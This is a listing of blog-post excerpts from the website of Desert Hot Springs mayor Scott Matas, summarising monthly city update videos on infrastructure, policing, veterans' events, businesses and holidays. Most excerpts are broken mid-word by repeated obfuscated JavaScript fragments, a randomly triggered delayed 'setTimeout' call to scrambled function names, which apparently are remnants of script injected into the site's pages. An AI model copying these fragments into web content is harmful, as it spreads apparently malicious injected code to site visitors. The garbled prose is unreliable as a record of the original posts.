As we reach the election season, I am very pleased with the direction we’ve started. I’m looking forward to hearing your thoughts and concerns as we definitely have a lot more work to do. This last term has focused on and accomplished the following: Public Safety – Fully Staffed Police Department – Improving Pedestrian & [...]
Hello Desert Hot Springs! This month we review our progress on the new city hall and the upcoming groundbreaking ceremony coming up, as well as progress on the road improvements and lighting along Palm. We have more updates on the motorcop our city has hired to join our Police Deparment for targetting traffic violations. We [...]
Hello Desert Hot Springs! This month we review our progress on the new city hall and the upcoming groundbreaking ceremony coming up in May, as well as progress on the road improvements and lighting along Palm. Earlier this month, our city council voted to approve adding a motorcop to our PD targetting traffic violations. [...]
A message from Irene Rodriguez, Executive Director of Cabot’s Pueblo Museum, about their upcoming “Unity Art Installation” and Earth Day events this month, with a closing ceremony from Desert Hot Springs High School Choral Program.
There has been a lot of talk throughout the community, at our last council meeting and here on social media about the unfortunate loss of our local high school student, Pamela Carrillo. We have heard your concerns about the needs of light and street improvements throughout the city and the questions that have been asked [...]
As the Holidays are fast approaching, we are planning our Holiday Tree Lighting Extravaganza on Friday, December 1st andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and the Desert Hot Springs Holiday Parade on Saturday, December 9th. Learn how you can participate in the parade! Deadline to submit is November 27th. Stay connected! https://scottmatas.com [...]
Welcome, November! This month we update you our new city hall andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and discuss Congressman Ruiz’s efforts to receive grants for better internet service in his district which includes Desert Hot Springs. [...]
It’s time for our October monthly update! We are trying something new – we will still upload our five to eight-minute monthly video, but we are also uploading each subject as an individual video throughout the month on our YouTube Channel, Facebook andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay [...]
After a short hiatus, we’re back with our monthly videos! Also, city council meetings have started up again in September the first andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and third Tuesday of the month. In this video [...]
Desert Hot Springs, a small town in California, found an unorthodox solution to their financial troubles- weed. Watch The Profit: Marijuana Millions TONIGHT at 10p ET/PT on CNBC.
Vietnam Memorial Moving Wall now in Desert Hot Springs until Monday June 26th at Mission Springs Park. Opening Ceremony happening now.
Mayor Scott Matas City Update 16 – June 2017 Hello Desert Hot Springs! The Vietnam Moving Wall returns to Desert Hot Springs June 22nd to June 26th at Mission Springs Park. Opening Ceremony June 22nd at 6pm. Closing Ceremony June 26th at 11am. Keep up with future Town Halls at townhall.scottmatas.com. Thank you to Diversity [...]
Lots to discuss with you in my May Update. Veteran’s Park just got an upgrade in in time for the annual Memorial Day Ceremony that passed 10am last Monday, May 29, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} [...]
Hello Desert Hot Springs! Lots to discuss with you in my April Update. The Vietnam Moving Wall is making progress as we prepare for its return to Desert Hot Springs. If you’re interested in supporting, please contact me: https://scottmatas.com . Speaking of Veterans, Veteran’s Park is getting changes just in time for the annual Memorial [...]
Join us TOMORROW April 20th, for our second 2017 #TownHall at the Health & Wellness Center, 6pm. We’ll also be streaming LIVE on my Facebook: https://www.facebook.com/MayorMatas/ Sponsored by the DHS CAN- Desert Hot Springs Cannabis Alliance Network. #ShowUpSpeakOut Stay connected! https://scottmatas.com https://www.facebook.com/MayorMatas https://www.instagram.com/mayorscottm… https://www.youtube.com/channel/UCflj…
Hello Desert Hot Springs! As this month comes to a close, I bring you a short monthly update. The Vietnam Moving Wall is returning to Desert Hot Springs. If you’re interested in supporting, please contact me: https://scottmatas.com . The Rotary Park has FINALLY begun construction to be converted into a full dog park! Veteran’s [...]
As we conclude February, I bring you my monthly update! First of all – thank you to everyone who congratulated me on my wedding to Victoria, our first lady of Desert Hot Springs. This month we update you on the finally completed Indian Avenue, the traveling Vietnam Wall returning to Desert Hot Springs, the dog [...]
Happy New Year! It’s time for our January 2017 update… sorry this is so late in the month! This month we review projects we have in the works, review the Martin Luther King walk, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay [...]
My office andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and I have recently implemented the selection of a “Business of the Month” within our community. This month we chose Zapopan Mexican Food. Zapopan Mexican Food just [...]
December city update! This month we review our Holiday Tree Lighting, organized by the Community Cultural Affairs Commission, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and the Holiday Parade, this year organized by the Desert Hot Springs Rotary [...]
November City Update! This month we discuss road andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and park improvements, ATP State funding that was approved for Desert Hot Springs, the return of the Traveling Vietnam Memorial Wall’s return, review [...]
My office andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and I have recently implemented the selection of a “Business of the Month” within our community. This month we chose Desert Hot Springs Florist & Nursery. Desert Hot Springs [...]
Starting this month, I will be choosing a small business in our community to highlight. This month we chose World Gym. World Gym has recently received new owners, who have bought new equipment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = [...]
September City Update. A lot going on in Desert Hot Springs! We discuss Canndescent , the first medical marijuana cultivation facility in Southern California, which officially opened right here in town. In partnership with BurkeMedia Productions, my office developed a digital community calendar – see all the events andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), [...]
We have a special additional announcement for you this month, from Breanna Sewell, c andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andidate for Desert Community College District, TA 2, COD Board: Starting FRIDAY August 26th, College of the [...]
August City Update! This month I update you on location from Rotary Park, the East end of Hacienda to announce the upcoming improvements to transform the park into a full dog park with a fence, fountains andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if [...]
June City Update! This month I update you on location from the Carl May Center to show off the new art pieces we have brought back to the Carl May in partnership with the Spa City Paleteers. A lot is going on in Desert Hot Springs! This month we discuss the city budget, the special [...]
April City Update! This month I update you live from Cabot’s Pueblo Museum to update you on the 2016 State of the City andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and the Desert Hot Springs Healthy City Initiative [...]
If you missed the Desert Hot Springs 2016 State of the City on Thursday, April 7th, at the Greater Desert Hot Springs Chamber of Commerce, you can now watch my presentation in its entirety online filmed andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if [...]
I invite YOU to the join me at the 2016 State of the City THIS Thursday, April 7th 6pm at the Desert Hot Springs Chamber of Commerce. This event is FREE for local residents. You have just a few days left to register! Be redirected to the Chamber of Commerce website to register at here. [...]
March City Update! This month I review new business gr andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and openings, elaborate on our city committees we’ve formed, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if [...]
Here is a copy of tonight’s agenda. Meeting starts at 6pm. Feel free to join us. Or watch live online here. CITY OF DESERT HOT SPRINGS REGULAR MEETING OF THE CITY COUNCIL AND THE CITY COUNCIL SERVING AS THE SUCCESSOR AGENCY TO THE REDEVELOPMENT AGENCY BOARD AGENDA MARCH 15, 2016 3:00 [...]
February City Update! This month I review what we’ve done in the last 66 days including; special meetings with other community leaders andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and developers to form partnerships to plan our future, [...]
Our first monthly City Update! This month I’ll review what we accomplished December, speak about some great projects we’re working on to connect you to government, including forming committees andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and [...]
From myself, my family, the city council andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);} and the city of Desert Hot Springs… Merry Christmas & Happy Holidays!
This video is from December 1st, 2015 , when I swore in as Mayor of Desert Hot Springs. Thank you Pastor Paul Miller for leading me in my oath. In my speech, I wish my predecessor good fortune, thank those who helped me become who I am today, explain my basic goals, andom() * [...]